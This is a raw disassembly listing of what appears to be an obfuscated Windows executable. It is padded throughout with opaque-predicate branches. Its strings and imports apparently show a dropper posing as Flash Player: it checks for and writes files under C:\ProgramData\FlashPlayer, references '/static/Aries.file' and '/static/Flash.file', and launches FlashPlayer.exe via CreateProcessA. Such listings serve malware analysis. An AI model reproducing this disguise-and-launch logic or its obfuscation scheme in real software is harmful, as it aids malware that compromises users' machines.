je 0x140007f4d
lea rbx, [rbp + 0x210]
mov rcx, rbx
call fcn.14000a3c0
mov rcx, rbx
call fcn.14000a3c0
cmp dword [0x1400cb5d4], 0xa
jl 0x140007f1f
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140007ef5
mov rcx, rbx
call fcn.14000a3c0
mov edi, dword [rbp + 0x788]
mov eax, dword [rbp + 0x78c]
cmp dword [0x1400cb5d4], 0xa
jl 0x140007f4d
mov ecx, dword [0x1400cb5d0]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
jne 0x140007ef5
sub edi, eax
cmp dword [0x1400cb5d8], 0xa
jl 0x140007f9e
mov eax, dword [0x1400cb5dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007f9e
lea rbx, [rbp + 0x5e0]
mov rcx, rbx
mov edx, edi
call fcn.140076220
mov rcx, rbx
mov edx, edi
call fcn.140076220
cmp dword [0x1400cb5d8], 0xa
jl 0x140007f9e
mov eax, dword [0x1400cb5dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140007f70
lea rbx, [rbp + 0x5e0]
mov rcx, rbx
mov edx, edi
call fcn.140076220
cmp dword [0x1400cb5d8], 0xa
jl 0x140007fd5
mov eax, dword [0x1400cb5dc]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007fd5
mov rcx, rbx
mov edx, edi
call fcn.140076220
jmp 0x140007fa5
cmp dword [0x1400cb5d4], 0xa
jl 0x140007ff1
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140007ff1
jmp 0x140007fef
lea rcx, [rbp + 0x560]
lea rdx, [rbp + 0x5e0]
call fcn.1400060e0
cmp dword [0x1400cb5d4], 0xa
jl 0x140008020
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008020
jmp 0x14000801e
lea r8, [0x1400b7a0e]
lea rcx, [rbp + 0x6f8]
lea rdx, [rbp + 0x560]
call fcn.140003f50
cmp dword [0x1400cb5d4], 0xa
jl 0x140008056
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008056
jmp 0x140008054
lea rcx, [rbp + 0x698]
lea rdx, [rbp + 0x6f8]
lea r8, [rbp + 0x520]
call fcn.140003ed0
cmp dword [0x1400cb5d4], 0xa
jl 0x14000808c
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000808c
jmp 0x14000808a
lea r8, [0x1400b7a0e]
lea rcx, [rbp + 0x718]
lea rdx, [rbp + 0x698]
call fcn.140005f00
cmp dword [0x1400cb5d4], 0xa
jl 0x1400080c2
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400080c2
jmp 0x1400080c0
lea rcx, [rbp + 0x6b8]
lea rdx, [rbp + 0x718]
lea r8, [rbp + 0x540]
call fcn.140003ed0
cmp dword [0x1400cb5d4], 0xa
jl 0x1400080f8
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400080f8
jmp 0x1400080f6
lea r8, [0x1400b7a0e]
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x6b8]
call fcn.140005f00
cmp dword [0x1400cb5d4], 0xa
jl 0x14000812e
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000812e
jmp 0x14000812c
lea rcx, [rbp + 0x580]
lea rdx, [rbp + 0x210]
lea r8, [rbp + 0x6d8]
call fcn.140003ed0
cmp dword [0x1400cb5d4], 0xa
jl 0x1400081f7
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400081f7
lea rdi, [rbp + 0x210]
lea rbx, [rbp + 0x6b8]
lea r14, [rbp + 0x718]
lea r15, [rbp + 0x698]
lea r12, [rbp + 0x6f8]
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
mov rcx, r14
call fcn.140001f60
mov rcx, r15
call fcn.140001f60
mov rcx, r12
call fcn.140001f60
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
mov rcx, r14
call fcn.140001f60
mov rcx, r15
call fcn.140001f60
mov rcx, r12
call fcn.140001f60
cmp dword [0x1400cb5d4], 0xa
jl 0x1400081f7
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x14000818d
lea rdi, [rbp + 0x210]
lea rbx, [rbp + 0x6b8]
lea r14, [rbp + 0x718]
lea r15, [rbp + 0x698]
lea r12, [rbp + 0x6f8]
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
mov rcx, r14
call fcn.140001f60
mov rcx, r15
call fcn.140001f60
mov rcx, r12
call fcn.140001f60
cmp dword [0x1400cb5d4], 0xa
jl 0x140008286
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008286
mov rcx, rdi
call fcn.140001f60
mov rcx, rbx
call fcn.140001f60
mov rcx, r14
call fcn.140001f60
mov rcx, r15
call fcn.140001f60
mov rcx, r12
call fcn.140001f60
jmp 0x14000821a
lea rcx, [rbp + 0x6b8]
lea rdx, [rbp + 0x580]
call fcn.1400060e0
cmp dword [0x1400cb5d4], 0xa
jl 0x1400082b5
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400082b5
jmp 0x1400082b3
lea rdx, str.C:_ProgramData_FlashPlayer_config.dat
lea rcx, [rbp + 0x718]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x1400082e4
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400082e4
jmp 0x1400082e2
cmp qword [rbp + 0x750], 0x10
jb 0x1400082f5
mov rsi, qword [rbp + 0x738]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp dword [0x1400cb5d4], 0xa
jl 0x14000836c
mov ecx, dword [0x1400cb5d0]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x14000836c
lea rsi, [rbp + 0x738]
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp qword [rbp + 0x750], 0x10
mov rcx, rsi
jb 0x14000833a
mov rcx, qword [rbp + 0x738]
call rdi
cmp qword [rbp + 0x750], 0x10
mov rcx, rsi
jb 0x140008350
mov rcx, qword [rbp + 0x738]
call rdi
cmp dword [0x1400cb5d4], 0xa
jl 0x14000836c
mov ecx, dword [0x1400cb5d0]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
jne 0x140008326
cmp eax, 0xffffffff
je 0x1400083a0
lea rdx, str._static_Aries.file
lea rcx, [rbp + 0x210]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x1400083d3
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400083d3
jmp 0x14000839e
lea rdx, str._static_Flash.file
lea rcx, [rbp + 0x210]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x14000844c
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000844c
jmp 0x1400083d1
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x6b8]
lea r8, [rbp + 0x718]
call fcn.140001270
jmp 0x140008406
lea rsi, [rbp + 0x210]
mov rcx, rsi
call fcn.140001f60
mov rcx, rsi
call fcn.140001f60
cmp dword [0x1400cb5d4], 0xa
jl 0x140008420
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x1400083ef
lea rcx, [rbp + 0x210]
call fcn.140001f60
mov edx, dword [0x1400cb5d0]
mov ecx, dword [0x1400cb5d4]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140008487
test eax, eax
jne 0x1400083ef
jmp 0x140008487
lea rcx, [rbp + 0x210]
lea rdx, [rbp + 0x6b8]
lea r8, [rbp + 0x718]
call fcn.140001270
lea rcx, [rbp + 0x210]
call fcn.140001f60
mov edx, dword [0x1400cb5d0]
mov ecx, dword [0x1400cb5d4]
lea eax, [rdx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x140008492
test eax, eax
je 0x140008492
jmp 0x140008490
lea rdx, str.C:_ProgramData_FlashPlayer_
lea rcx, [rbp + 0x698]
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x1400084c1
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400084c1
jmp 0x1400084bf
lea rcx, [rbp + 0x718]
lea rdx, [rbp + 0x698]
call fcn.140002c10
cmp dword [0x1400cb5d4], 0xa
jl 0x1400084f0
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400084f0
jmp 0x1400084ee
mov rdi, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rdi
mov rsi, rax
mov rcx, rax
mov edx, 0x7d0
call rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1400cb5d4], 0xa
jl 0x140008564
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008564
xor ecx, ecx
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rdi
mov rsi, rax
mov rcx, rax
mov edx, 0x7d0
call rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400084fe
lea rsi, [rbp + 0x210]
lea rdx, [rbp + 0x718]
mov rcx, rsi
xor r8d, r8d
call fcn.140004000
cmp dword [0x1400cb5d4], 0xa
jl 0x140008599
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008599
jmp 0x140008597
cmp qword [rbp + 0x228], 8
jb 0x1400085aa
mov rsi, qword [rbp + 0x210]
mov rcx, rsi
call fcn.140096260
cmp dword [0x1400cb5e8], 0xa
jl 0x14000861f
mov ecx, dword [0x1400cb5ec]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x14000861f
lea rsi, [rbp + 0x210]
cmp qword [rbp + 0x228], 8
mov rcx, rsi
jb 0x1400085e7
mov rcx, qword [rbp + 0x210]
call fcn.140096260
cmp qword [rbp + 0x228], 8
mov rcx, rsi
jb 0x140008600
mov rcx, qword [rbp + 0x210]
call fcn.140096260
cmp dword [0x1400cb5e8], 0xa
jl 0x14000861f
mov ecx, dword [0x1400cb5ec]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
jne 0x1400085d3
shr rax, 0x20
jne 0x140008641
cmp dword [0x1400cb5d4], 0xa
jl 0x140008656
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008656
jmp 0x14000863f
lea rcx, str.remove
lea r8, [rbp + 0x210]
mov edx, eax
call fcn.14007bc50
mov ecx, dword [0x1400cb4b0]
mov eax, dword [0x1400cb4b4]
lea rsi, [rbp + 0x210]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
cmp eax, 0xa
jl 0x140008698
test edx, edx
je 0x140008698
mov rcx, rsi
call fcn.140009b60
mov ecx, dword [0x1400cb4b0]
mov eax, dword [0x1400cb4b4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
test edx, edx
je 0x1400086a1
cmp eax, 9
jg 0x1400086c3
mov rcx, rsi
call fcn.140009b60
cmp dword [0x1400cb4b4], 0xa
jl 0x1400086cd
mov eax, dword [0x1400cb4b0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x1400086cd
mov rcx, rsi
call fcn.140009b60
jmp 0x1400086a1
cmp dword [0x1400cb5d4], 0xa
jl 0x14000871d
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x14000871d
mov rcx, rsi
call fcn.140009b60
mov ecx, dword [0x1400cb4b0]
mov eax, dword [0x1400cb4b4]
cmp eax, 0xa
jl 0x140008669
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x140008669
mov rcx, rsi
call fcn.140009b60
jmp 0x1400086e7
lea rdx, str.C:ProgramDataFlashPlayerFlashPlayer.exe
lea rdi, [rbp + 0x6f8]
mov rcx, rdi
call fcn.140001c20
cmp dword [0x1400cb5d4], 0xa
jl 0x140008753
mov eax, dword [0x1400cb5d0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140008815
jmp 0x140008753
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x260], xmm0
movaps xmmword [rbp + 0x250], xmm0
movaps xmmword [rbp + 0x240], xmm0
movaps xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x270], 0
mov dword [rbp + 0x210], WSAGetLastError
movaps xmmword [rbp + 0x640], xmm0
mov qword [rbp + 0x650], 0
cmp qword [rbp + 0x710], 0x10
lea rdx, [rbp + 0x6f8]
jb 0x1400087bf
mov rdx, qword [rbp + 0x6f8]
lea rax, [rbp + 0x640]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp dword [0x1400cb5d4], 0xa
jl 0x1400088b6
mov ecx, dword [0x1400cb5d0]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
je 0x1400088b6
xorps xmm0, xmm0
movaps xmmword [rbp + 0x210], xmm0
movaps xmmword [rbp + 0x260], xmm0
movaps xmmword [rbp + 0x250], xmm0
movaps xmmword [rbp + 0x240], xmm0
movaps xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x270], 0
mov dword [rbp + 0x210], WSAGetLastError
movaps xmmword [rbp + 0x640], xmm0
mov qword [rbp + 0x650], 0
cmp qword [rbp + 0x710], 0x10
mov rdx, rdi
jb 0x14000887d
mov rdx, qword [rbp + 0x6f8]
lea rax, [rbp + 0x640]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x140008753
test eax, eax
jne 0x1400088ed
lea rsi, [rbp + 0x6f8]
lea r12, [rbp + 0x4e0]
lea r13, [rbp + 0x6d8]
lea rdi, [rbp + 0x760]
lea rbx, [rbp + 0x738]
lea r14, [rbp + 0x600]
lea r15, [rbp + 0x758]
jmp 0x140008961
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rcx, [rbp + 0x678]
call fcn.140001f60
lea rcx, [rbp + 0x4c0]
call fcn.140001f60
lea rcx, [rbp + 0x4a0]
call fcn.140001f60
lea rcx, [rbp + 0x5c0]
call fcn.140001f60
lea rcx, [rbp + 0x480]
call fcn.140001f60
lea rcx, [rbp + 0x460]
call fcn.140001f60
lea rcx, [rbp + 0x440]
call fcn.140001f60
lea rcx, [rbp + 0x420]
call fcn.140001f60
lea rcx, [rbp + 0x658]
call fcn.140001f60
mov rcx, rsi
call fcn.140001f60
lea rcx, [rbp + 0x698]
call fcn.140001f60
lea rcx, [rbp + 0x718]
call fcn.140001f60
lea rcx, [rbp + 0x6b8]
call fcn.140001f60
lea rcx, [rbp + 0x580]
call fcn.140001f60
lea rcx, [rbp + 0x560]
call fcn.140001f60
lea rcx, [rbp + 0x5e0]
call fcn.140001f60
lea rcx, [rbp + 0x540]
call fcn.140001f60
lea rcx, [rbp + 0x520]
call fcn.140001f60
lea rcx, [rbp + 0x500]
call fcn.140001f60
mov rcx, r12
call fcn.140001f60
mov rcx, r13
call fcn.140001f60
mov edx, dword [0x1400cb4b0]
mov eax, dword [0x1400cb4b4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140008a20
test ecx, ecx
je 0x140008a20
mov rcx, rdi
call fcn.140009b60
mov edx, dword [0x1400cb4b0]
mov eax, dword [0x1400cb4b4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
test ecx, ecx
je 0x140008a29
cmp eax, 9
jg 0x140008a4b
mov rcx, rdi
call fcn.140009b60
cmp dword [0x1400cb4b4], 0xa
jl 0x140008a55
mov eax, dword [0x1400cb4b0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008a55
mov rcx, rdi
call fcn.140009b60
jmp 0x140008a29
mov rcx, rbx
call fcn.140001f60
mov rcx, r14
call fcn.1400027a0
cmp dword [0x1400cb430], 0xa
jl 0x140008a83
mov eax, dword [0x1400cb434]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140008c9d
mov rcx, r15
call fcn.14000dd60
cmp dword [0x1400cb430], 0xa
jl 0x140008aaf
mov eax, dword [0x1400cb434]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008aaf
mov rcx, r15
call fcn.14000dd60
jmp 0x140008a83
lea rcx, [rbp + 0x678]
call fcn.140001f60
lea rcx, [rbp + 0x4c0]
call fcn.140001f60
lea rcx, [rbp + 0x4a0]
call fcn.140001f60
lea rcx, [rbp + 0x5c0]
call fcn.140001f60
lea rcx, [rbp + 0x480]
call fcn.140001f60
lea rcx, [rbp + 0x460]
call fcn.140001f60
lea rcx, [rbp + 0x440]
call fcn.140001f60
lea rcx, [rbp + 0x420]
call fcn.140001f60
lea rcx, [rbp + 0x658]
call fcn.140001f60
mov ecx, dword [0x1400cb5d0]
mov eax, dword [0x1400cb5d4]
lea edx, [rcx + 1]
imul edx, ecx
and edx, 1
xor ecx, ecx
mov qword [rbp + 0x790], rcx
cmp eax, 0xa
jl 0x14000710b
test edx, edx
je 0x14000710b
mov rcx, rsi
call fcn.140001f60
lea rcx, [rbp + 0x698]
call fcn.140001f60
lea rcx, [rbp + 0x718]
call fcn.140001f60
lea rcx, [rbp + 0x6b8]
call fcn.140001f60
lea rcx, [rbp + 0x580]
call fcn.140001f60
lea rcx, [rbp + 0x560]
call fcn.140001f60
lea rcx, [rbp + 0x5e0]
call fcn.140001f60
lea rcx, [rbp + 0x540]
call fcn.140001f60
lea rcx, [rbp + 0x520]
call fcn.140001f60
lea rcx, [rbp + 0x500]
call fcn.140001f60
mov rcx, r12
call fcn.140001f60
mov rcx, r13
call fcn.140001f60
mov edx, dword [0x1400cb4b0]
mov eax, dword [0x1400cb4b4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x140008c09
test ecx, ecx
je 0x140008c09
mov rcx, rdi
call fcn.140009b60
mov edx, dword [0x1400cb4b0]
mov eax, dword [0x1400cb4b4]
lea ecx, [rdx + 1]
imul ecx, edx
and ecx, 1
test ecx, ecx
je 0x140008c12
cmp eax, 9
jg 0x140008c34
mov rcx, rdi
call fcn.140009b60
cmp dword [0x1400cb4b4], 0xa
jl 0x140008c3e
mov eax, dword [0x1400cb4b0]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008c3e
mov rcx, rdi
call fcn.140009b60
jmp 0x140008c12
mov rcx, rbx
call fcn.140001f60
mov rcx, r14
call fcn.1400027a0
cmp dword [0x1400cb430], 0xa
jl 0x140008c72
mov eax, dword [0x1400cb434]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
je 0x140008c72
jmp 0x140008c9f
mov rcx, r15
call fcn.14000dd60
mov rcx, r15
call fcn.14000dd60
cmp dword [0x1400cb430], 0xa
jl 0x1400088f5
mov eax, dword [0x1400cb434]
lea ecx, [rax + 1]
imul ecx, eax
and ecx, 1
jne 0x140008c6a
jmp 0x1400088f5
jmp 0x140008c9d
jmp 0x140008c9f